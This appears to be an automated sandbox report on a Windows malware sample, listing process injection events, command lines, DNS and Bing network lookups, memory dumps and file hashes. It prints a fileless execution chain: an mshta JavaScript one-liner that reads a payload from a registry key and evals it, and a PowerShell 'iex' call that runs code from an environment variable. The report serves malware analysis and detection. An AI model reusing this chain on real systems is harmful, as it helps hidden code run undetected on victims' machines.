PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4728 wrote to memory of 1388 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4728 wrote to memory of 1388 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4728 wrote to memory of 1388 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:bFvAqBzK5="OPE6arZ";E24S=new%20ActiveXObject("WScript.Shell");kv7Ew4mFR="IzfkiQ";m4Ny4b=E24S.RegRead("HKLM\\software\\Wow6432Node\\y8zuWK\\hsGVunyjUT");MyTKpa63="hgAms";eval(m4Ny4b);oQPiK11Cr="uLmfI";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:afdkm

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 203.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 31.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/1920-3-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1920-7-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1920-8-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1920-9-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-13-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-12-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-11-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-10-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-14-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-15-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1388-17-0x0000000004980000-0x00000000049B6000-memory.dmp

memory/1388-18-0x0000000005170000-0x0000000005798000-memory.dmp

memory/1388-19-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

memory/1388-20-0x00000000057A0000-0x0000000005806000-memory.dmp

memory/1388-21-0x0000000005810000-0x0000000005876000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mxefihq.ek4.psm1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1388-31-0x0000000005880000-0x0000000005BD4000-memory.dmp

memory/1388-32-0x0000000005D40000-0x0000000005D5E000-memory.dmp

memory/1388-33-0x0000000005D80000-0x0000000005DCC000-memory.dmp

memory/1388-34-0x0000000007460000-0x0000000007ADA000-memory.dmp

memory/1388-35-0x0000000006E10000-0x0000000006E2A000-memory.dmp